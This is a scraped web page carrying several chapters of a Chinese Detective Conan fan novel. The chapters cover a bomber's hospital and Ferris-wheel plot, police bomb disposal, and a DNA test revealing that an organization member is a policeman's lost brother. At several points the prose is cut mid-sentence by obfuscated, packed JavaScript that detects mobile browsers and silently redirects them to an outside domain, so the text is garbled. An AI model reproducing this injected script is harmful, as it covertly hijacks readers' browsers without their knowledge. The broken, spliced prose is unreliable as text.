l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16514505|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不许碰炸/弹!” “啰嗦!你以为我和你一样!” * 嗡…… 嗡…… 持续不断的震动,像是从深海里传来的沉闷呼唤,勉强将诸伏清浅从一片混沌的泥沼中拖拽出来。 意识如同破碎的浮冰,在滚烫的血肉中载沉载浮。窒息感并未完全消退,仿佛那血腥的雾气已渗入肺叶,每一次呼吸都带着灼热的钝痛。 四肢沉重得不属于自己,绵软无力,连抬起一根手指都仿佛要耗尽全身的气力。 是睡着了……还是高烧的幻觉? 诸伏清浅花了很长的时间,才勉强将涣散的思绪拼凑起来——这不是幻觉,是身体在烈火中燃烧的真实反馈。 滴。 滴。 规律而冰冷的电子音,如同催眠的魔咒,不断拉扯着他本就脆弱的神经,诱使他再次沉入那片黑暗且无需思考的安宁。 长时间的脱水,加上深夜寒气的侵扰,使得先前注射的退烧针效果微乎其微。 皮肤烫得惊人,体内的水分仿佛已被蒸干,只剩下灼热的躯壳在微微颤抖。 这里……是哪里? 嗡……嗡…… 手机开始了新一轮不屈不挠的震动,终于将他濒临消散的意识重新点燃些许。 幸好那个炸/弹犯认定一个盲哑人无法求救,并未搜走他的通讯工具。诸伏清浅艰难地集中精神,调动系统,调出了手机界面。 【来电萩原研二】 屏幕上,这个名字下方,是密密麻麻、几乎铺满视野的未接来电记录,无声地诉说着电话那头的焦灼。 啊……对了,今天是……11月7号…… 卧/槽11月7号! 原本快要无力阖上的双眼骤然睁开,雾蓝色的瞳孔在黑缎下无焦距地收缩。诸伏清浅几乎是榨取着最后一丝精神力,强行启动了【系统相机】的外置视野—— 然后,他“看”清了紧紧绑在自己胸前,那结构复杂、显示屏上数字正无情跳动的炸/弹。 诸伏清浅:…… 一股近乎荒谬的情绪涌上心头。 当年在组织训练营,因为目不能视,他几乎是绕着所有爆破课程走……这下,报应来了。 ……这上面,应该没有安装那种一动就引爆的水银平衡装置吧?他现在……能稍微动一下吗? 他咬紧牙关,用尽全身力气,才将早已僵硬麻木的身体,极其缓慢地挪动了一个微小的角度,让被反绑在身后的手臂能稍微活动。 仅仅是这样一个微小的动作,就让他眼前阵阵发黑,几乎再次晕厥。 他艰难地一点点地还能勉强活动的指尖,从口袋里勾出了手机。冰冷的机身触碰到滚烫的皮肤,带来一丝微弱的刺/激。 意识如同风中残烛,明灭不定。他依靠着近乎本能的肌肉记忆和系统的辅助,摸索着调出了凌晨时分录下的那份关键音频文件。 点击。发送。给【萩原研二】。 ……好了,可以继续睡了。 他的任务已经完成。 这个念头如同被剪断了最后的提线,蒙眼青年手腕一松,那部承载着希望与证据的手机,从他无力控制的指尖滑落,“啪嗒”一声轻响,掉在了冰冷的地面上。 最后一点强撑的意识也随之抽离,他头一歪,任由自己沉入无边无际的黑暗之中。 70.第二份便当(上) 啊……这是……! 又一次无人接听。萩原研二牙关紧咬,正欲再次重拨,手机却突然一震,提示收到一封新邮件。 【浅井尘 11:24 [19911107_031421.m4a]】 附件是一份音频文件。 他指尖一点,播放——里面传出的,是那个疯子清晰的、充满恶意的犯罪宣言。 米花……中央医院。 紫罗兰色的眼眸中瞬间掠过一道幽冷的寒光。 “掉头。”他命令道,声音不大,却带着不容置疑的决断。 “诶?萩原队长?”驾驶座上的队员小泉一愣。 “山田前辈已经去摩天轮那边了?” “是的……他的车已经出发跟进了。” 萩原研二一把拿过小泉手边的防爆头盔,语气急促而清晰:“那我们掉头,关掉警笛,去米花中央医院。动作要快,但不要引起任何注意。” “可是……” “听我的,所有责任我来承担。” 叮铃—— 通讯队员柴田一愣,将正在震动的移动电话递了过来:“队长,电话!” 屏幕上,赫然显示着【来电伊达航】。 “喂,班长。” * 十一点三十分,杯户公园摩天轮的地面控制室发生爆炸,摩天轮无法停下。 几乎在同一时间,一辆警车压着超速的边缘,一个利落的漂移甩尾冲进游乐场。松田阵平推门而下,目标明确,径直冲向那已然失控的巨轮。 佐藤美和子则一把拉住现场惊慌失措的工作人员:“现在摩天轮是什么情况?” “控、控制面板炸了!现在摩天轮停不下来,我们正在想办法疏散上面的游客!” “72号座舱呢?现在在什么位置?” “啊?”工作人员虽感不解,还是快速回答,“这个时间点的话,应该正好移动到下层平台……” 糟了! 佐藤心头一紧,猛地转头望向平台——只见那位不让人省心的卷毛同僚正朝着她的方向随意挥了挥手,下一秒,便身手矫健地钻进了恰好停稳的72号座舱。 佐藤:? 佐藤:! 摩天轮已经开始缓缓上升,现在阻止他已来不及。她只能眼睁睁看着座舱离地,愤愤地掏出手机,开始对这位莽撞的同僚进行电话轰炸。 “松田警官!” “看来我猜对了,”听筒里传来松田阵平冷静的声音,甚至带着一丝果然如此的意味,“是炸/弹,而且和四年前的构造一样。” 此时,爆处班的支援车辆终于呼啸而至。山田前辈在车上同事的协助下已穿戴好厚重的防爆服,一下车便与同车赶来的伊达航一起,快步走向目暮警部了解情况。 “目暮警部!炸/弹在哪里?” “哦!是伊达老弟!你不是带队出外勤了吗?” “只是起简单的纠纷,回去发现厅里都快空了,问了萩原就跟着爆处班过来看看能不能帮上忙。”伊达航简单解释,随即神色一肃,“现在情况到底怎么样?” 正忙于疏散人群的目暮警部抹了把汗:“松田君说炸/弹在72号座舱——” 一旁的佐藤美和子语气急促地补充:“然后他已经上去了!” “那小子……”厚重的防爆服都无法完全隔绝山田前辈瞬间爆发的怒火。他几乎能肯定,松田那混蛋绝对没穿防爆服! 都调去搜一了,还来抢爆处班的活儿! 山田正要开口斥责,不远处猛地传来一声巨响!整个摩天轮随之一阵剧烈摇晃! “怎么回事!” “是配电室!摩天轮的配电室爆炸了!” “啧!” 今天的天气并不晴朗,天空阴沉沉的,因此地上的人很容易就能看到被迫停在摩天轮最高处的72号座舱。 “松田君,没事吧?”佐藤从电话中问他。 “我没事,但炸/弹可能有事。”松田阵平重新调整好自己的坐姿,“因为刚刚的摇晃,炸/弹的水银泵柱开启了。” 在一旁听到这个词的山田,忍不住低声骂了一句。水银汞柱,意味着里面那颗敏感的水银球哪怕受到最轻微的震动都会滚动,一旦触碰到感应线…… 等他下来,看怎么收拾他! “为了防止我被炸成肉酱,在我拆除这颗炸/弹前,你们就不要再动摩天轮了。” “可是松田,”伊达航接过手机,沉声提醒对方:“现在距离正午只剩下5分钟了。” “啊,班长?你也来了。”松田阵平凫青色的眼眸中闪过一丝锐利而自信的光芒,“这种简单的装置,三分钟足够了……嗯?” 他话音一顿,视线落在了炸/弹液晶屏上新浮现的一行字上。 「这位警官真是勇气可嘉, 我实在不得不赞美你的这份勇气。 我会暗示你另外一个比这更大的烟火在哪里, ——爆炸前三秒,你就会看到我的提示。 那么,就先预祝你的成功了。」 “看来这次有点难办了。”他语气依旧没什么起伏,仿佛在陈述一个与己无关的事实。 喂喂,哪有自己给自己泼冷水的啊! “就是这样,”松田阵平无视座舱内禁止吸烟的标识点燃嘴里的香烟,尼古丁的味道稍稍缓解了他紧绷的神经。 “看来我要是拆除了炸/弹,拔掉银幕电源的话,恐怕就再也没有办法看到他这个提示了。” 难怪这家伙会一开始就计划把警察困在这个缆车里,为的就是让警方看到它的这段话。 “这么说的话,刚才的那场爆炸,就是歹徒看到你已经上了缆车才传给你的。”伊达航突然意识到。 也就是说,那个歹徒,就在现场。 叮铃—— 这时,松田阵平的手机屏幕再次亮起,一个新的来电插了进来。 “啊……是萩。”松田微微一愣,随即了然。“那么班长,地面上的事,就全拜托你了。” 听到是萩原研二的来电,伊达航紧绷的神情明显一松。这位身高近两米的魁梧汉子叼着牙签,脸上露出了一个混合着怒意与绝对信任的笑容:“啊,那是当然。” * “喂,萩。” “小阵平,直接拆除炸/弹吧。” 松田眉梢一挑:“哦?看来你找到另一个炸/弹了?” “嗯,找到了。” 米花中央医院,昏暗的楼梯间内。 萩原研二半跪在地,看着身旁因高烧而彻底昏迷的盲哑青年,以及那紧紧缠绕在其胸前、倒计时仍在无情跳动的炸/弹,脸色阴沉得能滴出水来。 “所以,直接拆掉也没关系。” * 医院很大,在短时间内找到所有炸/弹简直就是天方夜谭。萩原研二先是让队员们散开搜查,另外指挥群众疏散。 当务之急,是必须立刻找到浅井尘。 那段录音,从文件名判断,录制于今日凌晨三点十四分。可小浅井为何会在那个时间出现在医院? ——答案是,他是一位病人。 “你好~”前台处,他挂着亲和的笑容,举着警察证在护士小姐眼前一晃而过。“能帮我查一查今天凌晨两点左右,是否有一位名为浅井尘的先生前来就诊呢?” “啊……有的。”护士小姐见状也不敢怠慢,很快就找到了相关记录。“那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16521282|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位浅井先生是因为发烧才来的,不过这里显示浅井先生打完退烧针后并没有返回去找医生开具处方笺……” 时间对上了。“请问退烧针是在哪里注射的?” “在四楼的注射室。” 萩原研二道谢后转身,笑容瞬间收敛。他一边快步走向电梯,一边在脑中回放录音细节。 环境非常安静,这不单是夜深之故,录音中明显的回声预示着……一个相对空旷、且不易被察觉的封闭空间。 排除人流量大、容易被发现的区域,以及空间狭小的杂物间,最符合条件的地点呼之欲出——鲜少有人使用的消防楼梯间。 他的判断很快得到了证实。 四楼消防楼梯间的门被他轻轻推开,映入眼帘的景象让他的心脏猛地一沉——蒙眼青年被绳索紧紧捆缚在冰冷的楼梯扶手上,头颅无力地低垂,显然已因高烧陷入昏迷。 而紧紧缠绕在青年胸前的,正是与他打交道了近四年的老朋友——那结构熟悉的炸/弹。 “这里是萩原,在四楼消防楼梯间发现人质和炸/弹。”他立即用对讲机向同伴通报,声音冷静得不带一丝波澜。随即,他迅速蹲下身,尝试唤醒对方:“小浅井?能听到吗?” 他的手刚触碰到对方的肩膀—— “!” 掌下的肌肉在瞬间绷紧,如同蓄势待发的猎豹,充满了危险的爆发力。原本低垂的头颅猛地抬起,即便隔着那条标志性的蒙眼黑缎,萩原也能清晰地感受到一道锐利如刀的“视线”骤然锁定在自己身上。 那是身体历经千锤百炼后形成的、超越理智的本能防御。 萩原研二反应极快地缩回了手,心中凛然。但他开口时,语气依旧是刻意维持的平稳与温和,甚至带着一丝日常相处时的轻快语调,试图驱散那份危险的紧绷:“小浅井,是我,萩原研二。能认出我吗?” 高烧正无情地侵蚀着青年的身体,他的呼吸清浅而急促,每一次吐息都带着滚烫的温度。 短暂的、几乎是凝滞的沉默后,他看见青年干裂的嘴唇极其微弱地嚅动了一下。 “Hagi……wara……” 他辨认出了那个缓慢而无声的口型。 紧绷的心弦稍稍一松。“是我。”萩原的声音放得更轻,带着一种安抚的力量,“我现在需要把你身上的炸/弹拆下来,好吗?” 青年似乎花了点时间,才迟缓地处理完这句信息。半晌,他才几不可闻地、用气音回应了一个:“……好。” 随着这声应答,他紧绷的身体才真正一点点地松懈下来,重新倚靠回冰冷的扶手。 ……竟然,就这么交给我了吗? 看着对方几乎是毫无保留地卸下防御,萩原研二的心情却愈发复杂。 这究竟是出于对他的信任,还是对方骨子里那份可怕的、即便在此刻也未曾泯灭的自信? 信任他这位警察不会伤害他?还是自信即便发生意外,他也有能力应对? 这种在极度虚弱下,先本能展露獠牙,又在辨认出他后迅速收敛、全然交付的反应,比任何传闻都更直观地让他意识到——眼前这个看似脆弱的青年,的的确确是一个游走于危险边缘的、不容小觑的存在。 【这里是柴田,一楼大厅花盆处发现炸/弹。】 【这里是小泉,注射室座位底下发现炸/弹。】 【这里是……】 【……】 【报告队长,所有楼层排查完毕。】 对讲机里接连传来的汇报,暂时切断了他翻涌的思绪。 好了,现在不是纠结的时候。 萩原研二深吸一口气,将手中沉重的防爆头盔稳稳戴好。 现在是拆弹时间。 71.第二份便当(下) 无独有偶,72号座舱内。 结束与幼驯染的通话后,松田阵平抬手,用指节擦去下巴滚落的汗珠,凫青色的眼眸中锐光一闪,嘴角勾起一抹势在必得的弧度。 萩那边已经就位,他这里,也绝不能掉链子。 屏幕上猩红的倒计时还剩四分多钟,但对他而言—— 三分钟就足够了。 * 与此同时,摩天轮平台之下。 因着萩原与松田的缘故,伊达航对四年前那场炸/弹勒索案的卷宗可谓烂熟于心。 从证人浅井尘的笔录中得知,犯人是一名男性,身高约一米七,右利手,给人一种强烈的神经质印象。 时隔四年,外貌着装或可改变,但以此种方式挑衅警方、精心设计“爆炸前三秒才揭示另一个炸/弹位置”此等电车难题的愉悦犯——他渴望亲眼见证自己的“作品”和警察的失败。 所以他一定会时刻关注72号座舱,期待看到舱内警察那痛苦而绝望的抉择。 回归现场查看自己“杰作”的犯人,会选择一个视野绝佳、便于随时离开的位置,而不是挤在最前面或躲在最后面。 ……而那种混杂着期待、兴奋、乃至压抑不住得意的赤/裸眼神,在普通民众担忧与惊慌的表情中会格外显眼。 伊达航站在摩天轮的平台上,双手撑着栏杆,锐利的视线自上而下扫视着远处的围观群众。 在哪里……你究竟藏在哪里…… 他的视线快速掠过一张张表情各异的脸。 ——找到了。 他勾起一个笑,举起捏在手中许久的对讲机。 “所有人,发现疑似炸/弹犯的可疑目标。” 一旁的目暮警官闻言一愣,随即大喜:“伊达老弟,你说的是真的吗?” “嗯。”伊达航沉声应道,随即压低声音,“警部,我有个计划……” 伊达航将自己的想法讲出后,得到目暮警官的首肯后露出一个志在必得的笑。 “所有人,听我指挥,准备抓捕。” * “紧急通知!摩天轮上的炸/弹已被我方成功拆除!重复一遍,危机解除!炸/弹不会爆炸了!” 一道通过扩音器放大的声音骤然响起,清晰地传遍现场。 众人皆是一愣,下意识地望向声音来源——只见一位体型微胖的警官正手持喇叭,站在摩天轮平台下方高声宣布。 “但为保障诸位安全,请勿靠近现场!听从警务人员指挥,有序撤离!” 消息如巨石落水,激起层层波澜。紧绷的恐慌气氛为之一松,人群中响起一片如释重负的叹息。 “吓死我了……” “太好了,我还以为会发生糟糕的事情呢。” “警察还是很可靠的嘛。” 在一片庆幸的窃窃私语中,唯有一人,在听到通知的瞬间猛地抬起头,死死盯着悬于最高点的72号座舱,脸上写满了错愕与难以置信。 ——怎么可能? 他又查看了一下手表,距离正午还有两分钟不到。 那错愕的表情仅仅持续了一瞬,便迅速扭曲、发酵,最终化作一个极度狰狞的笑容。 哈……哈哈…… 果然!这群虚伪的警察!终究还是为了自己活命,放弃了医院那边的三千条人命! 什么正义,什么职责,在生死面前,不过是一戳即破的谎言! “请大家配合!让一让,有序往这边撤离!”附近几名身着制服的刑警开始疏导人群,声音洪亮而镇定。 他赶紧压低帽檐,用力竖起衣领,试图掩盖那几乎要压抑不住的、混合着狂喜与鄙夷的狞笑,顺从地低下头,混入缓慢移动的人流。 他的大脑已经开始想象胜利的场景,想象着两小时后医院炸/弹引爆时,那冲天的火光、媒体的哗然、公众的愤怒,以及警察声誉扫地时的狼狈…… 他已经能够想象到—— “‘两个小时后医院的炸/弹爆炸,媒体和群众会多么的震惊和愤怒,以及对警察铺天盖地的斥责了’,对吧?” ……什么? 他愕然抬头,嘴角的笑意都来不及散去,就看见一位快有两米高的魁梧刑警站在他身边,宽大的手掌死死捏住了他的肩膀。 “……刑警先生,是不是有什么误会?” “误会?”伊达航冷哼一声,“不只是今天的案子,四年前的那件炸/弹勒索案,我们也要好好聊一聊——村,田,守,先,生。” 这个名字一出,伊达航明显看到村田守的瞳孔猛然一缩。 在村田守想要挣脱桎梏的那一瞬,身为警校第二的伊达航反应迅速,一记干净利落的擒拿,迅猛地将村田守的手臂反剪至背后,力道之大让其毫无反抗之力,膝盖重重跪倒在地! “老实点!”伊达航的厉喝震慑全场。 周围待命的同僚迅速上前,反应迅速地从对方的口袋里翻出遥控器以及手机等可疑物品! “哼……哼哼……哈哈哈哈哈!”然而,即使被彻底/制服,村田守非但没有绝望,反而爆发出了一阵歇斯底里的狂笑,笑声中充满了扭曲的快意和嘲讽。 “抓了我又怎么样!啊?!摩天轮的炸/弹不炸,你们就永远别想知道另一个炸/弹在哪里!” “你们这群虚伪的警察!为了自己活命,宁愿牺牲另外三千条人命!哈哈哈!你们和我有什么区别!” “另一个炸/弹”、“三千条人命”——这几个关键词如同病毒般在人群中迅速传播,刚刚平息的恐慌情绪被再次点燃。 “另一个炸/弹,”伊达航的声音却如同磐石,稳稳压过了所有嘈杂,他平静地宣告,“在米花中央医院。” 村田守脸上猖狂的笑容瞬间冻结、崩裂:“……什么?!” “你的另一个炸/弹,就在米花中央医院。”伊达航收到了不远处目暮警官完成的确认信号,自信地俯视着脚下的败者,“很遗憾,你的计划彻底失败了。那个炸/弹,已经被我的同僚拆除了。” “不可能!”村田守这个时候是真的慌了,奋力挣扎起来,目眦欲裂,“我的计划是完美的!天衣无缝!怎么可能失败!你骗我——!” “事实如此。”伊达航可不和他废什么话,“带走!” 咔嚓。 象征着法律与正义的银色手铐,落在被反剪的手腕上。 时隔四年,逃窜的炸/弹犯终于落网。 * “呼——” 另一边,成功拆除所有炸/弹的萩原研二长舒一口气,一把摘下厚重的防爆头盔,毫无形象地瘫坐在地,看着队员们小心翼翼地将拆解得七零八落的炸/弹部件回收。 确认现场安全后,柴田立刻叫来了待命的医生为人质检查。最终得出对方高烧、受寒、脱水脱力、头晕乏力等症状。 ……然后惊奇于对方尚且清醒的意识。 病床上虽然虚弱但意识清醒的诸伏清浅:…… 这种程度的身体损耗他早已习惯,甚至连系统面板都不再像最初那样频繁弹出警告窗口。 对他而言,这不过是高烧后被迷晕,难受地睡了一觉,醒来后花些时间等待炸/弹被拆除,让混沌的大脑慢慢重启而已。 然而,在医生和警察眼中,他此刻的状况堪称凄惨。于是,尽管意识清醒,他也逃不过被医护人员押送去做全面检查和强制住院的命运。 诸伏清浅只能无奈地用手语缓慢比划着“我没事”,最终还是僵着身体,被专业的医护人员半扶半抱地带走,手上很快挂上了点滴。 “那我先收队回去啦,小浅井~过两天会有同事来给你做笔录,我会顺便来看你的!”萩原研二带着拆弹小队离开前,特意来到临时病床前,笑着朝正在打点滴的诸伏清浅挥了挥手。 ……然而,刚刚回到警视厅,还没来得及喝口水的萩原警官,就听到了一个让他眼皮直跳的消息—— 他家那位理论上应该在写报告的幼驯染,刚才差点在审讯室里把那个炸/弹犯给揍了。 萩原研二:??? *< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16523701|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “结果最后小阵平还是吃了个处分,被搜一连夜送回爆处班了。” 病床前,借着“是受害人的朋友”这一身份溜出来陪同做笔录的爆出双子星,等录笔录的同僚走后迅速霸占唯一的椅子,最终卷毛警官略胜一筹,半长发警官惜败。 松田阵平毫不客气地从床头柜的果篮里捞起一个苹果,惬意地咬了一口。他一身黑色西装,墨镜随意地别在领口,长腿交叠坐在椅子里,周身的气场不像警察,倒更像哪位来医院看望小弟的极/道老大。 “[不过,炸/弹犯最终还是落网了,他会得到应有的审判和惩罚……松田警官这下也能放心了,算是可喜可贺。]” 右手被点滴封印着,诸伏清浅不得不用左手在手机上慢吞吞敲字。 “话是这么说没错啦,”萩原研二靠在窗边,语气轻松,但眸中一丝复杂的情绪转瞬即逝,“不过谁也没想到,时隔四年他还敢再次犯案……甚至把你也牵扯了进来。” “[嘛,毕竟当年是我意外破坏了他的计划,他会记恨我也不奇怪。]” “也就你心大,被绑架,住院了还这么平静。”松田阵平状似无意地接话,仿佛只是朋友间寻常的调侃。 “[……那我也没想到,会在医院里正好撞上他啊。]”文字显示到这里,似乎停顿了一下,随后新的句子才慢慢浮现,“[不过,这不是有你们在嘛。你看,我这不是好好的活着吗。]” 靠坐在病床上的蒙眼青年微微勾起唇角,露出一抹清浅的笑意。尽管身体透着虚弱的气息,但那笑容里却好像带着一种能抚平躁动的宁静力量。 松田阵平一时语塞。半晌,他才像是无可奈何般长长叹了口气:“哈啊……真是,拿你没办法。” 因为是偷溜出来的,萩原和松田并未久留,很快便起身告辞。 然而,就在他们即将踏出医院大门,步入门口雨棚的阴影下时,松田阵平毫无征兆地停下了脚步。 “差不多,也该现身了吧?”他倏然转头,失去墨镜遮挡的凫青色眼眸锐利扫向立柱的方向。 空气似乎凝滞了一瞬。随即,一个身着茶绿色西装的男人从柱后缓步走出。即便被当场点破行踪,他的脸上依旧维持着平静。 “我是警视厅公安部的风见,”他推了推眼镜,“根据降……我上司的吩咐,请跟我走一趟吧。” “哎呀呀,果然还是逃不过这一关吗。”萩原研二夸张地叹了口气,手臂却无比自然地搭在了幼驯染的肩上,笑意却不达眼底。“那就麻烦带路了,风见君。” 松田阵平转身跟上之前,似有所感,忽然回头朝住院部大楼望了一眼——目光所向,正是诸伏清浅病房所在的楼层。但那也仅仅是一瞥,他很快便收回视线,不耐烦地抖了抖肩膀。 “重死了萩,把你的手拿下来。” “欸——才不要。” * 竟然发现了么……不愧是直觉系。 诸伏清浅默默收回借由【系统相机】投射在远处的“视野”,回忆起刚才卷毛警官的回眸一瞥,心中了然。 果然,他们已经知道了啊。 那个和他们对接的男人,以及系统定位中标注着“风见裕也”的定位无声地证明着——萩原和松田已经和公安那边有所接触,看来他们已经和同期交流过了。 刚才探病时,无论他们将语气放得如何轻松自然,在清浅被系统强化过的敏锐听力面前,看似平常的对话下所暗藏的警惕与保留终究是无所遁形。 ……这才是正常人会有的反应,不是吗。 浅井尘本来就不是什么好人,他们会心生戒备,再正常不过。 甚至可以说,与他们保持距离,反而能够确保他们的安全。 可是…… 为什么他会觉得有些难过? 诸伏清浅无意识地蜷起手指,指尖深深陷入雪白的被面,攥出一片凌乱的褶皱。 不信任、疏远、警惕……他分明就是在这样的环境里长大的。 他明明,早就应该习惯了。 72.身不由己的 诸伏清浅只在医院待了三天,待身体状况基本稳定后,便毫不犹豫地溜之大吉。 既然已经知晓萩原和松田与公安有所牵连,自己也大概率被贴上了“危险人物”的标签,他索性连告别都省了,走得那叫一个干脆利落,理所当然。 他倒是不担心有新闻会报道出他的相关信息……公安那边会帮忙压下去的。 现在他倒是在担心另一件事。 他没有返回浅井宅,而是直接来到了自己名下的一处安全屋。室内没有开灯,一片昏暗,唯有淡蓝色的系统弹窗密密麻麻地铺满了他全部的“视野”,冰冷的光映照着他大病初愈而苍白的脸庞。 【剧情节点“松田阵平进入搜一、在摩天轮上碰到二选一炸/弹”,已完成】 下一个则是—— 【剧情节点“苏格兰卧底身份暴露”】 暴露,是世界意识划定的无可更改的必然事件。他能做的并非阻止,而是在节点发生的瞬间,不惜一切代价抢下景光哥的性命。 他原本的计划,是依靠对剧情的先知,利用信息差通过匿名渠道提前预警,让景光哥能有所准备顺利撤离。但是—— 太安静了。 无论是组织内部,还是警方,都安静得异乎寻常。 信息差的前提,是他必须比所有人更早洞察暴露的契机。 可惜原著剧情并未详写这方面……他考据了半天也只知道最后景光哥的死亡时间是晚上。 苏格兰获得代号后就被分配到他手上。客观而言,苏格兰的身份伪造几乎无可挑剔,即便以夏特勒兹的苛刻标准审视,也很难找到重大破绽。 那些微小的、可能存在的瑕疵,也早已被他不动声色地亲手完善。 尽管他给予苏格兰相当大的自由度,允许他自行接取任务、探查情报,但每一次任务背后,诸伏清浅都会暗中留意,但凡发现任何可能引火烧身的痕迹,都会悄无声息地为他抹去。 在他的全力庇护与背书下,苏格兰的背景,绝对“干净”。 ——那么,问题的根源,便不在组织内部,而在于警方层面。 是消息泄露?是知情人无意或有意透露?还是……存在内鬼? 诸伏清浅脑海中最先浮现的,是前世论坛上被广泛认同的猜测:公安内部出现了叛徒,且其职务绝对不低。 为此,这些年来他从未停止过对公安系统的暗中排查,范围甚至扩散至所有与公安往来密切的部门。 他将相关人员从上至下、从里到外摸了个底朝天——那是一种几乎连对方底细都了然于胸的干净。 无奈的是,组织派遣出去的所有卧底及内应名单,始终牢牢掌握在朗姆手中。 夏特勒兹与朗姆的差距在于资历,他没有任何合理的借口能接触到那份核心名单,他只能亲自一个一个查下去。 可查了这么多年,从地方警署到警视厅、警察厅,从位高权重者到基层职员,有问题的人确实揪出不少,与组织有牵连的也确有几个,能推断出是朗姆安插的眼线。 然而,这些人的职位普遍不够高,根本不像是能接触到卧底搜查官核心身份信息的层级。 ……无法选中。 如今已是十一月下旬,十二月转瞬即至。那个藏匿在警方内部的叛徒,即便再如何沉得住气,也差不多该有所动作了! 诸伏景光的暴露绝非偶然,必然存在一个酝酿和触发的过程……总不可能是在瞬息之间凭空爆发! 诸伏清浅咬牙切齿,一拳捶在桌上。 呼……冷静,夏特勒兹,冷静。 他深吸一口气,强行压下胸腔里翻腾的情绪。 总会有办法的,一定还有他未曾注意到的线索,或是可以利用的漏洞。 * 然而,祸不单行。 就在这个争分夺秒的关键时期,一条指令突兀地切入他的通讯渠道——一个紧急任务,需要他立刻动身前往横滨。 任务的发布者,落款是朗姆。 朗姆!你这个老不死的阴沟老鼠!偏偏在这种时候……! 诸伏清浅只觉得一股寒气从脊椎直冲头顶,随即又被翻涌的怒火覆盖。 朗姆在这个时间点出手,意味着在他“视线”无法触及的暗处,导致身份暴露的节点齿轮,已经开始转动。 更让他心惊的是,尽管任务由朗姆发布,指令却是通过Boss的加密邮箱直接下达。 作为夏特勒兹,他必须无条件遵从Boss的命令。 ……朗姆竟然向上打了报告。这他娘的分明就是明目张胆的支开! * 与此同时,诸伏景光的情况也好不到哪里去。 不过是另一个方面……目前来看。 宽敞的室内没有多少家具,只是勉强维持了正常的生活起居——这是当初夏特勒兹留给他的安全屋,将钥匙交给他后,除了去接水无怜奈这个新人,对方就再也没有来过。 于是在这十二月凛冽的寒冬,即便头顶洒下温暖的灯光,空气中弥漫的冷清与孤寂依旧挥之不去,丝丝缕缕地渗入骨髓。 他的面前是一份报告——DNA的鉴定报告。 如今萩原松田已经和公安对接,签署保密协议后知晓了部分情报——这也意味着公安能够反向从他们那儿知晓“浅井尘”的情报。 当那个炸/弹犯落网,不仅公安,时刻关注事态的他与降谷零也同步得知了“浅井尘”作为人质被绑架并入院的消息。 他的幼驯染为此等“巧合”头疼不已,亲自压着三位同期签下了保密协议。 不过他的注意力不在这一方面,而是在住院的上司身上。 ……这是一个很好的机会。他当时这么想着,手心微微冒出了汗。 于是他想办法拿到了浅井尘的一管血液。 血液,其中的白细胞含有细胞核,是提取DNA的绝佳来源。 想要直接验证他的猜想的话,DNA鉴定是最直接的方法。 他将那管血液与自己的样本一同送出,经由公安的渠道进行检测。 五个工作日过去,他也得到了一纸薄薄的报告。 【分析结果:在两个样本的STR分型对比中,未发现不符合遗传规律的现象。在20个基因座中,有13个基因座观察到等位基因共享。】 【鉴定意见:依据DNA分析结果,不排除样本A(未知男性 #1)与样本B(未知男性 #2)之间存在全同胞关系。】 诸伏景光感觉全身的血液都被冻结了。 他的指尖无意识地蜷缩,指甲深深陷入掌心。他看着那白纸黑字,目光死死钉在结论性的语句上——这薄薄一纸,剔除了所有侥幸与犹豫,将血淋淋的真相毫不留情地拍在他面前。 果然……如此。 最初的反应,是职业本能带来的、近乎荒谬的冷静分析——假设被证实,猜测成为事实。 然后才是陷入一片空白——不是空无,而是一种被过度冲击后短暂的宕机,所有的思绪情感和认知,都被搅成了一团混沌的、嗡嗡作响的乱麻。 大脑的空白如同海水骤然退潮,并非情绪的终结,而是引燃毁灭性海啸的导火索。 过往与夏特勒兹的每一次交集,一幕幕在他脑海中疯狂闪回。而每一个片段,都在新的真相下,被赋予了截然不同的解读。 那个14岁就获得代号,差点单杀琴酒,手段凌厉的夏特勒兹,他手上沾染的鲜血,他每一次向上爬踏过的尸骨,有多少是不得已而为之? 负责卧底的排查与审讯,手握生杀予夺大权的夏特勒兹……又有多少冷酷,是为了获取更高权限、更核心情报,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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算起来清浅今年也23岁了……可是他作为夏特勒兹,作为组织一员的时间长达19年,几乎占据了他现有生命的全部。 在时间的磨损下,那个记忆中,阳光下诸伏清浅的身影,又剩下了多少呢? 诸伏景光不知道。 他只知道,那个在黑暗中伫立的苍白身影,是夏特勒兹,是犯罪组织的高层干部,是直属BOSS的刽子手。他手中掌握着无数机密,必然也沾染了众多无辜者的鲜血。 ——他的危险性不会因为他是诸伏景光的弟弟而有丝毫改变。 他是敌人。 身为卧底搜查官,他应该立马将这条消息上报,这是他身为警察的职责。 是的,职责。正义。组织的罪恶。同伴的安危。每一条都重若千钧,压得他几乎窒息。 可是上报之后呢?让公安去抓捕他?审讯他?把他当作摧毁组织的工具和筹码?甚至在必要的时候,处理掉他? 可是他是清浅啊。 是他弄丢了十九年,是让他和高明哥、爸爸妈妈愧疚了十九年的弟弟。 